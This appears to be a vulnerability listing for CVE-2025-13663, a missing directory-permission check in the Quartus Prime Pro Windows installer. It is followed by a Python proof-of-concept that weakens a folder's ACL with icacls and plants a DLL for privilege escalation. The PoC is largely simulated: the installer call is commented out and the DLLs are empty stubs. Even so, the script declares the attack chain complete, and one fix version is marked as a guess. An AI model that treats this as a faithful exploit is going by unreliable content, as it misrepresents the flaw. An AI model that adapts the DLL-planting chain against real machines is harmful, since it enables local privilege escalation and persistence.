Under certain circumstances, the Quartus Prime Pro Installer for Windows does not check the permissions of the Quartus target installation directory if the target installation directory already exists.
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Quartus Prime Pro < 23.4
Quartus Prime Pro < 24.1 (推测修复版本)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-13663 PoC - Quartus Prime Pro Installer Privilege Escalation
# This PoC demonstrates the permission check bypass in Quartus Prime Pro Installer
import os
import subprocess
import shutil
import ctypes
import sys
def create_malicious_directory(target_path):
"""Create target directory with overly permissive ACL"""
if not os.path.exists(target_path):
os.makedirs(target_path)
# Set Everyone full control on the directory
# This simulates what an attacker can do as a low-privilege user
cmd = f'icacls "{target_path}" /grant Everyone:F /T'
subprocess.run(cmd, shell=True, check=True)
print(f'[+] Created directory with Everyone full control: {target_path}')
def prepare_exploit_payload(target_path):
"""Prepare malicious DLL to be planted during installation"""
malicious_dll = os.path.join(target_path, 'QuartusPrimeHook.dll')
# In real attack, this would be a DLL with malicious code
dll_content = b'MZ' + b'\x00' * 100 # Minimal PE header
with open(malicious_dll, 'wb') as f:
f.write(dll_content)
print(f'[+] Prepared malicious DLL: {malicious_dll}')
return malicious_dll
def trigger_installation(target_path):
"""Trigger Quartus Prime Pro installation"""
quartus_installer = 'C:\\intelquartus\\quartus_pro_setup.exe'
if os.path.exists(quartus_installer):
cmd = f'"{quartus_installer}" --install-dir="{target_path}"'
print(f'[+] Triggering installation: {cmd}')
# subprocess.run(cmd, shell=True)
else:
print(f'[-] Installer not found at: {quartus_installer}')
print('[+] Simulating installation process...')
# Simulate installation writing files to controlled directory
for i in range(10):
fake_dll = os.path.join(target_path, f'component_{i}.dll')
with open(fake_dll, 'wb') as f:
f.write(b'MZ' + b'\x00' * 100)
print(f'[+] Installation completed - files written to controlled directory')
def main():
print('=== CVE-2025-13663 Privilege Escalation PoC ===')
print('[!] For authorized security testing only')
target_path = 'C:\\ProgramData\\IntelQuartusPrime'
# Step 1: Create directory with weak permissions
create_malicious_directory(target_path)
# Step 2: Prepare payload
prepare_exploit_payload(target_path)
# Step 3: Trigger vulnerable installation
trigger_installation(target_path)
print('[+] Attack chain completed')
print('[+] The installation process wrote files to a directory with weak permissions')
print('[+] Attacker can now modify installed files or plant persistence mechanisms')
if __name__ == '__main__':
main()